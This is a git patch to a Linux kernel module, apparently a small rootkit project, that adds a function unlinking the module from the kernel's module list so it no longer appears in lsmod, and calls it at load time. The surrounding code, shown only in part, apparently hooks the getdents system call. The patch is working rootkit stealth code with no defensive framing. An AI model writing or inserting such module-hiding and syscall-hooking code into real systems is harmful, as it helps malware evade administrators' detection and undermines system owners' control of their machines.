From cbe0fabcea796623944faa83bd8f20e88f4f5503 Mon Sep 17 00:00:00 2001
From: Jan Koerner <jankoerner.1998@gmail.com>
Date: Sun, 1 Dec 2019 23:40:43 +0100
Subject: [PATCH] Modul verstecken implementiert

---
 src/8008135.c | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/src/8008135.c b/src/8008135.c
index cf253f5..1cd7551 100644
--- a/src/8008135.c
+++ b/src/8008135.c
@@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd,
 	return ret;
 }
 
+
+/***  FUNCTION  ****************************************************************
+*          NAME:  hide_module
+*   DESCRIPTION:  hides the module from lsmod
+*    PARAMETERS:  -
+*       RETURNS:  
+*******************************************************************************/
+void hide_module(void){
+	list_del(&THIS_MODULE->list);
+}
+
+
 /***  FUNCTION  ****************************************************************
 *          NAME:  8008135_init
 *   DESCRIPTION:  initializing Kernel Module
@@ -108,6 +120,9 @@ static int __init init_8008135(void) {
 
 	printk(KERN_INFO "New syscall in place\n");
 	
+	hide_module();
+	printk(KERN_INFO "Module hidden");
+	
 	return 0;
 }